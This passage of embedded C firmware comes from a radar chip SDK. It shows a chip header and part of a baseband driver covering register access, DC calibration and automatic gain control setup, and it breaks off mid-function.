#include "alps_reset_api.h"
#include "clkgen.h"
#include "mux.h"
#include "alps_dmu.h"
#include "alps_emu.h"
#include "dmu.h"
#ifdef ARC_FEATURE_DMP_PERIPHERAL
#define PERIPHERAL_BASE ARC_FEATURE_DMP_PERIPHERAL
#else
#define PERIPHERAL_BASE _arc_aux_read(AUX_DMP_PERIPHERAL)
#endif
/* common macros must be defined by all chips */
#define CHIP_CONSOLE_UART_ID DW_UART_0_ID
#ifdef PLAT_ENV_FPGA
#ifdef CHIP_CONSOLE_UART_BAUD
#undef CHIP_CONSOLE_UART_BAUD
#endif
#define CHIP_CONSOLE_UART_BAUD (115200)
#else
#ifndef CHIP_CONSOLE_UART_BAUD
#define CHIP_CONSOLE_UART_BAUD UART_BAUDRATE_921600
#endif
#endif
#ifndef CHIP_SPI_FREQ
#define CHIP_SPI_FREQ (1000000)
#endif
#define CHIP_SYS_TIMER_ID TIMER_0
#define CHIP_SYS_TIMER_INTNO INTNO_TIMER0
#define CHIP_SYS_TIMER_HZ (1000)
/** chip timer count frequency (HZ) */
#define CHIP_SYS_TIMER_MS_HZ (1000)
/** chip timer count frequency convention based on the global timer counter */
#define CHIP_SYS_TIMER_MS_CONV (CHIP_SYS_TIMER_MS_HZ/CHIP_SYS_TIMER_HZ)
#define CHIP_OS_TIMER_ID TIMER_0
#define CHIP_OS_TIMER_INTNO INTNO_TIMER0
#define CHIP_CPU_CLOCK clock_frequency(CPU_CLOCK)
#define OSP_DELAY_OS_COMPAT_ENABLE (1)
#define OSP_DELAY_OS_COMPAT_DISABLE (0)
#define OSP_GET_CUR_SYSHZ() (gl_alps_sys_hz_cnt)
#define OSP_GET_CUR_MS() (gl_alps_ms_cnt)
#define OSP_GET_CUR_US() chip_get_cur_us()
#define OSP_GET_CUR_HWTICKS() chip_get_hwticks()
#ifdef __cplusplus
extern "C" {
#endif
extern void chip_init(void);
extern void chip_timer_update(uint32_t precision);
extern void chip_delay_ms(uint32_t ms, uint8_t os_compat);
extern uint64_t chip_get_hwticks(void);
extern uint64_t chip_get_cur_us(void);
extern void chip_hw_mdelay(uint32_t ms);
void chip_hw_udelay(uint32_t us);
#ifdef __cplusplus
}
#endif
#endif /* _ALPS_H_ */
/** @} end of group CHIP_ALPS_COMMON_INIT */
<file_sep>#include <string.h>
#include "baseband.h"
#include "sensor_config.h"
#include "math.h"
#include "calterah_math.h"
#include "embARC_debug.h"
#include "calterah_limits.h"
#include "radio_ctrl.h"
#include <stdio.h>
#include "embARC.h"
#include "emu.h"
#include "clkgen.h"
#include "alps_dmu_reg.h"
#include "radio_reg.h"
#include "cascade.h"
#include "vel_deamb_MF.h"
#include "apb_lvds.h"
#include "baseband_dpc.h"
#include "alps_dmu.h"
#include "calterah_algo.h"
#define MIN(a, b) (((a) < (b)) ? (a) : (b))
#define TWLUTSZ 2048
#define DMLKINITCOEF 0.8
#define DEG2RAD 0.017453292519943295
#define CFAR_RDM_RNG_SEP_SZ 3
#define CFAR_RDM_VEL_SEP_SZ 2
#define CFAR_CA_SCALAR_BW 12
#define CFAR_CA_SCALAR_INT 5
#define CFAR_OS_SCALAR_BW 10
#define CFAR_OS_SCALAR_INT 1
#define SHADOW_BNK 4
#define ABIST_SIN_FREQ 5 // analog bist sinewave frequency, 5MHz defaultly
#define ABIST_FFT_CHK_MIN 3 // avoid zero frequency, DC may be greater than sinewave
#define ABIST_FFT_CHK_SIZE 31
#define ABIST_FFT_CHK_HLF ((ABIST_FFT_CHK_SIZE - 1)/2)
#define BB_LBIST_DELAY 10 /* delay 10ms to wait lbist done*/
#define ENA_PRINT_MEM_READ 0
#define EMU_READ_REG(bb_hw, RN) baseband_read_reg(bb_hw, EMU_REG_##RN)
#define EMU_READ_REG_FEILD(bb_hw, RN, FD) baseband_read_regfield(bb_hw, EMU_REG_##RN, EMU_REG_##RN##_##FD##_SHIFT, EMU_REG_##RN##_##FD##_MASK)
#define EMU_WRITE_REG(bb_hw, RN, val) baseband_write_reg(bb_hw, EMU_REG_##RN, val)
#define BFM_ANT_IDX_BW 5
#ifdef CHIP_ALPS_MP
#define GRP_ADDRESS_OFFSET (BB_REG_DOA_GRP1_ADR_COE - BB_REG_DOA_GRP0_ADR_COE)
#else
#define GRP_ADDRESS_OFFSET (BB_REG_BFM_GRP_1_ADDR_COE - BB_REG_BFM_GRP_0_ADDR_COE)
#endif
#define AGC_LNA_GAIN_LEVEL 2
#define AGC_TIA_GAIN_LEVEL 4
#define AGC_VGA1_GAIN_LEVEL 6
#define AGC_VGA2_GAIN_LEVEL 6
#define AFE_STAGE_NUM 4
#define AGC_FNL_LEVEL_NUM 64
#define AFE_SATS 3
#define LNA_BW 1
#define TIA_BW 2
/*shared by VGA1 and VGA2*/
#define VGA_BW 3
#define GAIN_BW 8
#define DATA_DUMP_PATTEN 1
#define DATA_DUMP_NUM_2MB (1024 * 256 * 4 / 2) /* rng * vel * ant / 2, (word) */
#define HALF_MAX_ADC_DATA (32768 - 1) /* 2 << 16 - 1*/
/* To ensure DC calibration works, DO NOT change any static const values defined below */
/* Number of cascaded second order sub-IIR filters */
#define CASCD_SOS_NUM 4
#define SV_IN_FLASH_MAP_BASE 0x100000
#define BYTES_PER_WORD 4
extern SemaphoreHandle_t mutex_frame_count;
extern int32_t frame_count;
/* Coefficients for IIR filter when dec_factor is 2 */
static const uint8_t DEC_2_A1 [CASCD_SOS_NUM] = { 0xe7, 0xee, 0xf7, 0xfe };
static const uint8_t DEC_2_A2 [CASCD_SOS_NUM] = { 0x0f, 0x30, 0x6c, 0xc4 };
static const uint8_t DEC_2_B1 [CASCD_SOS_NUM] = { 0x7b, 0x5b, 0x39, 0x27 };
static const uint8_t DEC_2_S1 [CASCD_SOS_NUM] = { 0x0, 0x0, 0x0, 0x0 };
static const uint32_t DEC_2_SCL = 0x1e1;
/* Coefficients for IIR filter when dec_factor is 3 */
static const uint8_t DEC_3_A1 [CASCD_SOS_NUM] = { 0xfc, 0x13, 0x2d, 0x40 };
static const uint8_t DEC_3_A2 [CASCD_SOS_NUM] = { 0x0b, 0x47, 0x93, 0xda };
static const uint8_t DEC_3_B1 [CASCD_SOS_NUM] = { 0x68, 0x0d, 0xda, 0xc8 };
static const uint8_t DEC_3_S1 [CASCD_SOS_NUM] = { 0x0, 0x0, 0x0, 0x0 };
static const uint32_t DEC_3_SCL = 0x1ff;
/* Coefficients for IIR filter when dec_factor is 4 */
static const uint8_t DEC_4_A1 [CASCD_SOS_NUM] = { 0x1f, 0x2c, 0x3f, 0x51 };
static const uint8_t DEC_4_A2 [CASCD_SOS_NUM] = { 0x14, 0x42, 0x87, 0xd4 };
static const uint8_t DEC_4_B1 [CASCD_SOS_NUM] = { 0x65, 0x02, 0xd1, 0xc0 };
static const uint8_t DEC_4_S1 [CASCD_SOS_NUM] = { 0x1, 0x1, 0x0, 0x0 };
static const uint32_t DEC_4_SCL = 0x168;
/* Coefficients for IIR filter when dec_factor is 8 */
static const uint8_t DEC_8_A1 [CASCD_SOS_NUM] = { 0x46, 0x53, 0x62, 0x6f };
static const uint8_t DEC_8_A2 [CASCD_SOS_NUM] = { 0x4f, 0x7c, 0xb4, 0xe6 };
static const uint8_t DEC_8_B1 [CASCD_SOS_NUM] = { 0x2b, 0xb3, 0x9a, 0x93 };
static const uint8_t DEC_8_S1 [CASCD_SOS_NUM] = { 0x2, 0x1, 0x0, 0x0 };
static const uint32_t DEC_8_SCL = 0x11f;
/* Gain coefficients when not applying IIR filter but dec_factor is large than 1 */
static const uint32_t DEC_SCL_DFLT = 0x1ff; // Default scaler
static const uint8_t DEC_SHF_DFLT = 1; // Default left shift bits
/* To ensure DC calibration works, DO NOT change any static const values defined above */
static uint8_t AGC_LNA_gain_table[AGC_LNA_GAIN_LEVEL] = {19, 24}; //LNA gain value
static uint8_t AGC_TIA_gain_table[AGC_TIA_GAIN_LEVEL] = {0, 6, 12, 18}; //250ohm,500ohm,1000ohm,2000ohm TIA gain value
static uint8_t AGC_VGA1_gain_table[AGC_VGA1_GAIN_LEVEL] = {7, 10, 13, 16, 19, 22}; //VGA1 gain value
static uint8_t AGC_VGA2_gain_table[AGC_VGA2_GAIN_LEVEL] = {5, 8, 11, 14, 17, 20}; //VGA2 gain value
static uint8_t LNA_gain_bit[AGC_LNA_GAIN_LEVEL]={1, 1}; //LNA gain enable bit 1:enbale, 0:disable
static uint8_t TIA_gain_bit[AGC_TIA_GAIN_LEVEL]={0, 1, 1, 0}; //TIA gain enable bit 1:enbale, 0:disable
static uint8_t VGA1_gain_bit[AGC_VGA1_GAIN_LEVEL]={1, 1, 1, 1, 1, 1}; //VGA1 gain enable bit 1:enbale, 0:disable
static uint8_t VGA2_gain_bit[AGC_VGA2_GAIN_LEVEL]={1, 1, 1, 1, 1, 1}; //VGA2 gain enable bit 1:enbale, 0:disable
static int tia_level = AGC_TIA_GAIN_LEVEL; //save current maximal TIA level
static int vga1_level = AGC_VGA1_GAIN_LEVEL; //save current maximal VGA1 level
static bool vga2_loop_end = false; //indicate if need lower down the maximal vga1 level
static bool vga1_loop_end = false; //indicate if need lower down the maximal TIA level
// sine wave, refer to cmodel hil case
static uint16_t hil_sin[HIL_SIN_PERIOD] = {0x0 , 0x9fd , 0x1397, 0x1c71, 0x2434, 0x2a92, 0x2f4d, 0x3237,
0x3333, 0x3237, 0x2f4d, 0x2a92, 0x2434, 0x1c71, 0x1397, 0x9fd ,
0x0 , 0xf602, 0xec68, 0xe38e, 0xdbcb, 0xd56d, 0xd0b2, 0xcdc8,
0xcccc, 0xcdc8, 0xd0b2, 0xd56d, 0xdbcb, 0xe38e, 0xec68, 0xf602};
/* For DC calibration */
static uint8_t dc_calib_status[11];
/* For generation of sv */
static int32_t tx_order[MAX_NUM_TX] = {0, 0, 0, 0};
static antenna_pos_t ant_pos[MAX_ANT_ARRAY_SIZE];
static float ant_comp_phase[MAX_ANT_ARRAY_SIZE];
/* CFAR pk_mask mapping table */
static uint32_t CFAR_pk_msk[3][3] = {{0x1000, 0x3800, 0x7c00},
{0x21080, 0x739c0, 0xfffe0},
{0x421084, 0xe739ce, 0x1ffffff}};
static uint32_t sv_bk[4];
void baseband_parse_mem_rlt(baseband_hw_t *bb_hw, bool print_ena);
static void baseband_shadow_bnk_init(baseband_hw_t *bb_hw);
void baseband_hw_reset_after_force(baseband_hw_t *bb_hw);
/* For Baseband Acceleration*/
#if ACC_BB_BOOTUP == 1
static bool pre_acc_flag = false;
#endif
uint32_t baseband_read_reg(baseband_hw_t *bb_hw, const uint32_t addr)
{
volatile uint32_t *ptr = (uint32_t *)addr;
return *ptr;
}
uint32_t baseband_read_regfield(baseband_hw_t *bb_hw, const uint32_t addr, const uint32_t shift, const uint32_t mask)
{
uint32_t val = baseband_read_reg(bb_hw, addr);
return (val >> shift) & mask;
}
void baseband_write_reg(baseband_hw_t *bb_hw, const uint32_t addr, const uint32_t val)
{
#if ACC_BB_BOOTUP == 1
if (pre_acc_flag) {
EMBARC_PRINTF(" baseband_write_reg(NULL, (uint32_t)0x%x, (uint32_t)0x%x);\n\r", addr, val);
chip_hw_mdelay(3);
}
#endif
volatile uint32_t *ptr = (uint32_t *)addr;
*ptr = val;
}
void baseband_mod_reg(baseband_hw_t *bb_hw, const uint32_t addr, const uint32_t shift,
const uint32_t mask, const uint32_t val)
{
uint32_t tmp = baseband_read_reg(bb_hw, addr);
tmp &= ~(mask << shift); /* reverse mask to identiy the other bits */
tmp |= (val & mask) << shift; /* combine the new input with the other bits */
baseband_write_reg(bb_hw, addr, tmp);
}
uint32_t baseband_switch_mem_access(baseband_hw_t *bb_hw, uint32_t table_id)
{
uint32_t old = BB_READ_REG(bb_hw, SYS_MEM_ACT);
BB_WRITE_REG(bb_hw, SYS_MEM_ACT, table_id);
return old;
}
// switch bank active
uint32_t baseband_switch_bnk_act(baseband_hw_t *bb_hw, uint8_t bnk_id)
{
uint32_t old = BB_READ_REG(bb_hw, SYS_BNK_ACT);
BB_WRITE_REG(bb_hw, SYS_BNK_ACT, bnk_id);
return old;
}
// switch bank mode
uint32_t baseband_switch_bnk_mode(baseband_hw_t *bb_hw, uint8_t bnk_mode)
{
uint32_t old = BB_READ_REG(bb_hw, SYS_BNK_MODE);
BB_WRITE_REG(bb_hw, SYS_BNK_MODE, bnk_mode);
BB_WRITE_REG(bb_hw, SYS_BNK_RST, 1);
return old;
}
uint32_t baseband_switch_buf_store(baseband_hw_t *bb_hw, uint32_t buf_id)
{
#ifdef CHIP_ALPS_A
uint32_t old = BB_READ_REG(bb_hw, SYS_BUF_STORE);
BB_WRITE_REG(bb_hw, SYS_BUF_STORE, buf_id);
#elif (CHIP_ALPS_B || CHIP_ALPS_MP)
uint32_t old = BB_READ_REG(bb_hw, SAM_SINKER);
BB_WRITE_REG(bb_hw, SAM_SINKER, buf_id); /* fft direct or adc buffer */
#endif
return old;
}
void baseband_write_mem_table(baseband_hw_t *bb_hw, uint32_t offset, uint32_t value)
{
volatile uint32_t *mem = (uint32_t *)BB_MEM_BASEADDR;
mem += offset;
*mem = value;
#if ACC_BB_BOOTUP == 1
if (pre_acc_flag) {
EMBARC_PRINTF(" baseband_write_mem_table(NULL, (uint32_t)0x%x, (uint32_t)0x%x);\n\r", offset, value);
chip_hw_mdelay(3);
}
#endif
}
uint32_t baseband_read_mem_table(baseband_hw_t *bb_hw, uint32_t offset)
{
volatile uint32_t *mem = (uint32_t *)BB_MEM_BASEADDR;
mem += offset;
if (ENA_PRINT_MEM_READ == 1) {
EMBARC_PRINTF("baseband_read_mem addr = %x, data = %x\n", mem, *mem);
MDELAY(2); /* add delay to make the serial print correct */
}
return *mem;
}
static void baseband_dc_calib_status_save(baseband_hw_t *bb_hw)
{
fmcw_radio_t* radio = &CONTAINER_OF(bb_hw, baseband_t, bb_hw)->radio;
fmcw_radio_vam_status_save(radio);
fmcw_radio_vam_disable(radio);
/* tx_ch status*/
uint8_t num = 0;
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
dc_calib_status[num++] = RADIO_READ_BANK_REG(1, TX_LDO_EN);
for (uint8_t ch = 0; ch < MAX_NUM_RX; ch++)
dc_calib_status[num++] = RADIO_READ_BANK_CH_REG(1, ch, TX_EN0);
/* agc status*/
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
dc_calib_status[num++] = RADIO_READ_BANK_REG(5, FMCW_AGC_EN_1);
fmcw_radio_switch_bank(radio, 0);
for (uint8_t ch = 0; ch < MAX_NUM_RX; ch++)
dc_calib_status[num++] = RADIO_READ_BANK_CH_REG(0, ch, RX_PDT);
/* phase scramble status*/
dc_calib_status[num] = BB_READ_REG(bb_hw, SAM_DINT_ENA); /* Read initial Rx phase de-scramble enable bit */
fmcw_radio_switch_bank(radio, old_bank);
}
static void baseband_dc_calib_status_restore(baseband_hw_t *bb_hw)
{
fmcw_radio_t* radio = &CONTAINER_OF(bb_hw, baseband_t, bb_hw)->radio;
fmcw_radio_vam_disable(radio);
/* tx_ch status*/
uint8_t num = 0;
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
RADIO_WRITE_BANK_REG(1, TX_LDO_EN , dc_calib_status[num++]);
for (uint8_t ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_WRITE_BANK_CH_REG(1, ch, TX_EN0, dc_calib_status[num++]);
fmcw_radio_vam_status_restore(radio);
/* agc status*/
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
RADIO_WRITE_BANK_REG(5,FMCW_AGC_EN_1,dc_calib_status[num++]); //agc enable
fmcw_radio_switch_bank(radio, 0);
for (uint8_t ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_WRITE_BANK_CH_REG(0, ch, RX_PDT, dc_calib_status[num++]);
fmcw_radio_switch_bank(radio, old_bank);
/* phase scramble status*/
BB_WRITE_REG(bb_hw, SAM_DINT_ENA, dc_calib_status[num]); /* Read initial Rx phase de-scramble enable bit */
}
#if INTER_FRAME_POWER_SAVE == 1
void baseband_int_handler_sample_done()
{
BB_WRITE_REG(NULL, SYS_IRQ_CLR, BB_IRQ_CLEAR_SAM_DONE);
fmcw_radio_tx_ch_on(NULL, -1, false);
fmcw_radio_rx_on(NULL, false);
fmcw_radio_lo_on(NULL, false);
fmcw_radio_adc_fmcwmmd_ldo_on(NULL, false);
}
void baseband_interframe_power_save_init(baseband_hw_t *bb_hw)
{
int_handler_install(INT_BB_SAM, baseband_int_handler_sample_done);
int_enable(INT_BB_SAM);
dmu_irq_enable(INT_BB_SAM, 1); /* irq mask enable */
fmcw_radio_tx_ch_on(NULL, -1, false);
fmcw_radio_rx_on(NULL, false);
fmcw_radio_lo_on(NULL, false);
fmcw_radio_adc_fmcwmmd_ldo_on(NULL, false);
}
#endif //INTER_FRAME_POWER_SAVE
static void baseband_sys_init(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
fmcw_radio_t* radio = &CONTAINER_OF(bb_hw, baseband_t, bb_hw)->radio;
uint32_t samp_skip = ceil(cfg->adc_sample_start * cfg->adc_freq) / cfg->dec_factor;
samp_skip = (samp_skip % 2 == 0) ? samp_skip : samp_skip - 1;
uint32_t samp_used = ceil((cfg->adc_sample_end - cfg->adc_sample_start) * cfg->adc_freq) / cfg->dec_factor;
samp_used = (samp_used % 2 == 0) ? samp_used : samp_used + 1;
samp_used = samp_used > cfg->rng_nfft ? cfg->rng_nfft : samp_used;
uint32_t chip_used = cfg->nchirp / cfg->nvarray;
uint32_t chip_buf = chip_used > cfg->vel_nfft ? cfg->vel_nfft : chip_used;
BB_WRITE_REG(bb_hw, SYS_SIZE_RNG_SKP, samp_skip - 1);
BB_WRITE_REG(bb_hw, SYS_SIZE_RNG_BUF, samp_used - 1);
BB_WRITE_REG(bb_hw, SYS_SIZE_RNG_PRD, radio->total_cycle * cfg->adc_freq / FREQ_SYNTH_SD_RATE - 1);
BB_WRITE_REG(bb_hw, SYS_SIZE_BPM , cfg->nvarray - 1);
BB_WRITE_REG(bb_hw, SYS_SIZE_RNG_FFT, cfg->rng_nfft - 1);
BB_WRITE_REG(bb_hw, SYS_SIZE_VEL_FFT, cfg->vel_nfft - 1);
BB_WRITE_REG(bb_hw, SYS_SIZE_VEL_BUF, chip_buf - 1);
BB_WRITE_REG(bb_hw, SYS_IRQ_ENA , 1);
uint16_t bb_status_en = SYS_ENA(AGC , cfg->agc_mode == 0 ? 0: 1)
|SYS_ENA(SAM , true )
|SYS_ENA(FFT_2D, true )
|SYS_ENA(CFR , true )
|SYS_ENA(BFM , true );
BB_WRITE_REG(bb_hw, SYS_ENABLE, bb_status_en);
BB_WRITE_REG(bb_hw, SYS_ECC_ENA , 0); /* if (ECC_MODE != 'O'), write -1 to enable all */
}
static uint32_t agc_cdgn(uint8_t LNA_gain_table[], uint8_t TIA_gain_table[], uint8_t VGA1_gain_table[], uint8_t VGA2_gain_table[], uint32_t Tot_gain_table[])
{
//Tot_gain_table = {LNA_gain_level,TIA_gain_level,VGA1_gain_level,VGA2_gain_level};
uint32_t tot_gain = 0;
uint32_t tot_cod = 0;
tot_gain = (uint32_t)LNA_gain_table[Tot_gain_table[0]] + (uint32_t)TIA_gain_table[Tot_gain_table[1]] ;
tot_gain = tot_gain + VGA1_gain_table[Tot_gain_table[2]] + VGA2_gain_table[Tot_gain_table[3]];
tot_gain = tot_gain * 2; //GAIN FXR(8,7,U)
//Gain code mapping rule
//bit16 bit15 bit14 bit13 bit12 bit11 bit10 bit9 bit8 bit7 bit6 bit5 bit4 bit3 bit2 bit1 bit0
//LNA | TIA | VGA1 | VGA2 | GAIN
// VGA's code equals level + 1 when level begins from 0
tot_cod = (Tot_gain_table[3]+1) | ((Tot_gain_table[2]+1)<<VGA_BW) | (Tot_gain_table[1]<<(2*VGA_BW)) | (Tot_gain_table[0]<<(2*VGA_BW + TIA_BW));
tot_cod = (tot_cod << GAIN_BW) + tot_gain;
return tot_cod;
}
static void afe_gain_min_max(uint8_t gain_table[], uint8_t gain_bit[], int table_size, int *gain, int *level)
{
for (int p=0; p<table_size; p++){
if (gain_bit[p]){
*gain = gain_table[p]; //minmum gain
*level = p;
gain++;
level++;
break;
}
}
//maximun gain
for (int p=table_size-1; p>=0; p--){
if (gain_bit[p]){
*gain = gain_table[p]; //maximum gain
*level = p;
break;
}
}
}
void antpower2gain(uint32_t final_temp[],
uint32_t lowest_gain_code[],
int ant_power,
int adc_target_db,
float thres_db[],
uint8_t AGC_LNA_gain_table[],
uint8_t AGC_TIA_gain_table[],
uint8_t AGC_VGA1_gain_table[],
uint8_t AGC_VGA2_gain_table[],
uint8_t LNA_gain_bit[],
uint8_t TIA_gain_bit[],
uint8_t VGA1_gain_bit[],
uint8_t VGA2_gain_bit[]
)
{
int gain_lna_tia = 0;
int lna_idx = 0;
int tia_idx = 0;
int mis_gain = 0;
uint32_t lna,tia,tot_lna_tia;
//initialize start
for (int i = 0; i < AFE_STAGE_NUM; i++) {
final_temp[i] = lowest_gain_code[i];
}
for (int l=0 ; l < AGC_LNA_GAIN_LEVEL; l++) {
if (vga1_loop_end == true) {
if (TIA_gain_bit[tia_level - 1] == 0)
tia_level = tia_level - 2;
else
tia_level = tia_level - 1;
vga1_loop_end = false;
vga1_level = AGC_VGA1_GAIN_LEVEL;
}
for (int t=0; t < tia_level; t++) {
lna = AGC_LNA_gain_table[l];
tia = AGC_TIA_gain_table[t];
tot_lna_tia = lna + tia;
mis_gain = adc_target_db - ant_power;
if(((ant_power + tot_lna_tia) < thres_db[0]) && (tot_lna_tia <= mis_gain) && (LNA_gain_bit[l]) && (TIA_gain_bit[t])){
if(tot_lna_tia>gain_lna_tia){
gain_lna_tia = tot_lna_tia;
lna_idx = l;
tia_idx = t;
} else if((tot_lna_tia==gain_lna_tia) && (l>lna_idx)){
lna_idx = l;
tia_idx = t;
}
}
}//end loop TIA
}//end loop LNA
if(gain_lna_tia==0)
return;
final_temp[0] = lna_idx;
final_temp[1] = tia_idx;
ant_power = ant_power + gain_lna_tia;
mis_gain = mis_gain - gain_lna_tia;
for (int stage = 2; stage < AFE_STAGE_NUM; stage++){
int vga_idx = -1;
if (stage==2){
if (vga2_loop_end == true){
vga1_level = vga1_level - 1;
vga2_loop_end = false;
}
for (int v=0; v<vga1_level; v++){
if((ant_power + AGC_VGA1_gain_table[v])<thres_db[1] && (AGC_VGA1_gain_table[v]<=mis_gain) && (VGA1_gain_bit[v]))
vga_idx = v;
} //end loop VGA1
if (vga_idx<0){
vga1_loop_end = true;
return ;
}
final_temp[stage] = vga_idx;
mis_gain = mis_gain - AGC_VGA1_gain_table[vga_idx];
ant_power = ant_power + AGC_VGA1_gain_table[vga_idx];
} else {
for (int v=0; v<AGC_VGA2_GAIN_LEVEL; v++){
if((ant_power + AGC_VGA2_gain_table[v])<thres_db[2] && (AGC_VGA2_gain_table[v]<=mis_gain) && (VGA2_gain_bit[v]))
vga_idx = v;
} //end loop VGA2
if (vga_idx<0) {
vga2_loop_end = true;
return ;
}
final_temp[stage] = vga_idx;
mis_gain = mis_gain - AGC_VGA2_gain_table[vga_idx];
ant_power = ant_power + AGC_VGA2_gain_table[vga_idx];
}
}
}
static void agc_mode_with_fixgain(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint32_t temp[AFE_STAGE_NUM];
uint32_t AGC_CD_entry = 0;
uint32_t AGC_clip_table_base_address = BB_REG_AGC_CDGN_INIT;
//translate gain code to gain level
temp[0] = 1; //default LNA use level1
temp[1] = (int)(log(cfg->rf_tia_gain)/log(2));
temp[2] = cfg->rf_vga1_gain - 1;
temp[3] = cfg->rf_vga2_gain - 1;
AGC_CD_entry = agc_cdgn(AGC_LNA_gain_table,AGC_TIA_gain_table,AGC_VGA1_gain_table,AGC_VGA2_gain_table,temp);
//write init gain & clip 1 & clip2 table
for (int i = 0; i < AGC_CODE_ENTRY_NUM; i++) {
baseband_write_reg(bb_hw, AGC_clip_table_base_address, AGC_CD_entry);
AGC_clip_table_base_address = AGC_clip_table_base_address + 0x4;
}
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_COD);
uint32_t offset_address = 0;
//write final gain table
for (int p = 0; p < AGC_FNL_LEVEL_NUM; p++) {
baseband_write_mem_table(bb_hw, offset_address, AGC_CD_entry);
offset_address = offset_address+1;
}
baseband_switch_mem_access(bb_hw, old);
BB_WRITE_REG(bb_hw, AGC_GAIN_MIN , 0x3dc); //protection for work flow
BB_WRITE_REG(bb_hw, AGC_DB_TARGET , 0x78); //protection for work flow
}
static void baseband_agc_clear(baseband_hw_t *bb_hw) {
uint32_t AGC_base_address = BB_REG_AGC_SAT_THR_TIA, offset_address = 0;
int length = 33; //number of AGC related and can be written registers
for (int i = 0; i < length; i++) {
baseband_write_reg(bb_hw, AGC_base_address, 0x0);
AGC_base_address = AGC_base_address + 0x4;
}
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_COD);
for (int p = 0; p < AGC_FNL_LEVEL_NUM; p++) {
baseband_write_mem_table(bb_hw, offset_address, 0x0);
offset_address = offset_address+1;
}
baseband_switch_mem_access(bb_hw, old);
}
static void baseband_bnk_set(baseband_hw_t *bb_hw)
{
BB_WRITE_REG(bb_hw, SYS_BNK_ACT, bb_hw->frame_type_id);
}
void baseband_frame_interleave_reg_write(baseband_hw_t *bb_hw, uint8_t bb_bank_mode, uint8_t bb_bank_que)
{
BB_WRITE_REG(bb_hw, SYS_BNK_MODE, bb_bank_mode);
BB_WRITE_REG(bb_hw, SYS_BNK_QUE, bb_bank_que); /* used in rotate mode */
BB_WRITE_REG(bb_hw, SYS_BNK_RST, 1);
}
void baseband_frame_interleave_pattern(baseband_hw_t *bb_hw, uint8_t frame_loop_pattern)
{
/* bb bank mode */
uint8_t bb_bank_mode = SYS_BNK_MODE_ROTATE;
/* bb bank queue */
uint8_t bb_bank_que = 1 << frame_loop_pattern;
baseband_frame_interleave_reg_write(bb_hw, bb_bank_mode, bb_bank_que);
}
static void baseband_agc_init(baseband_hw_t *bb_hw, uint8_t agc_mode)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
baseband_t* bb = cfg->bb;
baseband_agc_clear(bb_hw);
if (agc_mode == 0)
return;
BB_WRITE_REG(bb_hw, AGC_SAT_THR_TIA , 0x10101);
BB_WRITE_REG(bb_hw, AGC_SAT_THR_VGA1, 0x10101);
BB_WRITE_REG(bb_hw, AGC_SAT_THR_VGA2, 0x10101);
BB_WRITE_REG(bb_hw, AGC_DAT_MAX_SEL , 0 );
BB_WRITE_REG(bb_hw, AGC_CODE_LNA_0 , 0x4 );
BB_WRITE_REG(bb_hw, AGC_CODE_LNA_1 , 0xF );
BB_WRITE_REG(bb_hw, AGC_CODE_TIA_0 , 0x1 );
BB_WRITE_REG(bb_hw, AGC_CODE_TIA_1 , 0x2 );
BB_WRITE_REG(bb_hw, AGC_CODE_TIA_2 , 0x4 );
BB_WRITE_REG(bb_hw, AGC_CODE_TIA_3 , 0x8 );
int AGC_ADC_target_level = 10;
uint32_t final_temp[AFE_STAGE_NUM],temp[AFE_STAGE_NUM];
uint32_t AGC_clip_table_base_address = BB_REG_AGC_CDGN_INIT;
uint32_t AGC_CD_entry=0;
if (agc_mode == 1) {
//write code table
for (int i = 0; i < AGC_CODE_ENTRY_NUM; i++) {
//translate gain level from config file, LSB is LNA gain level
temp[0] = cfg->agc_code[i] & 0x1;
temp[1] = (cfg->agc_code[i]>>LNA_BW) & 0x3;
temp[2]= (cfg->agc_code[i]>>(LNA_BW + TIA_BW)) & 0x7;
temp[3] = (cfg->agc_code[i]>>(LNA_BW + TIA_BW + VGA_BW)) & 0x7;
AGC_CD_entry = agc_cdgn(AGC_LNA_gain_table,AGC_TIA_gain_table,AGC_VGA1_gain_table,AGC_VGA2_gain_table,temp);
baseband_write_reg(bb_hw, AGC_clip_table_base_address, AGC_CD_entry);
AGC_clip_table_base_address = AGC_clip_table_base_address + 0x4;
}
//gen final gain table//
int gain_temp[AFE_STAGE_NUM*2]={0,0,0,0,0,0,0,0},level_temp[AFE_STAGE_NUM*2]={0,0,0,0,0,0,0,0},*mingain_maxgain,*level;
int min_power_db, max_power_db, power_step=1, adc_target_db;
int gain_level_num = 0, ADC_BiW = 13;
float thres_db[AFE_SATS], ADC_vpp = 1.2;
mingain_maxgain = gain_temp;
level = level_temp;
afe_gain_min_max(AGC_LNA_gain_table, LNA_gain_bit, AGC_LNA_GAIN_LEVEL, mingain_maxgain, level);
afe_gain_min_max(AGC_TIA_gain_table, TIA_gain_bit, AGC_TIA_GAIN_LEVEL, mingain_maxgain+2, level+2);
afe_gain_min_max(AGC_VGA1_gain_table, VGA1_gain_bit, AGC_VGA1_GAIN_LEVEL, mingain_maxgain+4, level+4);
afe_gain_min_max(AGC_VGA2_gain_table, VGA2_gain_bit, AGC_VGA1_GAIN_LEVEL, mingain_maxgain+6, level+6);
adc_target_db = (int)(20 * log10f(2) * AGC_ADC_target_level);
thres_db[0]= 20 * log10f(cfg->agc_tia_thres*ADC_vpp) + 20 * log10f(2) * ADC_BiW;
thres_db[1]= 20 * log10f(cfg->agc_vga1_thres*ADC_vpp) + 20 * log10f(2) * ADC_BiW;
thres_db[2]= 20 * log10f(cfg->agc_vga2_thres*ADC_vpp) + 20 * log10f(2) * ADC_BiW;
//get min_power_db
min_power_db = adc_target_db - (gain_temp[1] + gain_temp[3] + gain_temp[5] + gain_temp[7]);
max_power_db = adc_target_db - (gain_temp[0] + gain_temp[2] + gain_temp[4] + gain_temp[6]);
//RTL FXR(9,8,S), C modul(w10,I9,S) real value -24
